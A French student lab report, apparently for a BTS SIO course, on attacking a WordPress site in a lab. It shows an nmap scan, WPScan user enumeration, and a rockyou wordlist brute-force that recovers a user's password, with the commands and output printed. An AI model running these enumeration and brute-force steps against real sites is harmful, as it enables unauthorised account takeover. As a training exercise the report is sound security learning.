

*ENZO RIMBAULT*

BTS SIO 1

02/02/2024

# Sommaire

WAMP..... 1

## Wordpress

WordPress est un système de gestion de contenu gratuit, libre et open-source. Ce logiciel écrit en PHP repose sur une base de données MySQL et est distribué par la fondation WordPress.org.

## Exploit Faille Wordpress

Pour exploiter cette faille on va utiliser un outil qu'on retrouve sur kali. Cet outils s'appelle WPSCAN.

Mais avant ça, on fait un nmap suivi de l'ip de la machine pour y voir ses ports ouverts.

```
└─$ nmap -sV 192.168.0.31
Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-02 11:42 CET
Nmap scan report for 192.168.0.31
Host is up (0.0063s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
MAC Address: CC:47:40:BD:E2:06 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.78 seconds
```

On peut voir que le port 80 est ouvert et quand on va sur le site de la machine, on tombe sur un wordpress.

On peut donc maintenant faire un wpscan de l'adresse du site.

```
# wpscan --url http://192.168.0.31/wordpress/

WordPress Security Scanner by the WPScan Team
Version 3.8.20
Sponsored by Automattic - https://automattic.com/
@WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

Ensuite on recherche les utilisateurs identifiés sur ce wordpress avec la commande

**wpscan --url (votre adresse url) -e u**

```
[+] max
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
|   - http://192.168.0.31/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
|   - http://192.168.0.31/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] Max Verstappen
| Found By: Rss Generator (Passive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
```

Avec cette commande on y retrouve 3 utilisateurs.

Maintenant on va utiliser un fichier texte contenant des mots de passes possible et essayer de trouver le bon mot de passe

```
# wpscan --url http://192.168.0.31/wordpress/ --usernames max --passwords /usr/share/wordlists/rockyou.txt
```

On peut voir ci-dessous que le script a trouvé un mot de passe possible

```
[!] Valid Combinations Found:
| Username: max, Password: opensesame
```

On a plus qu'à l'utiliser pour se connecter sur le site.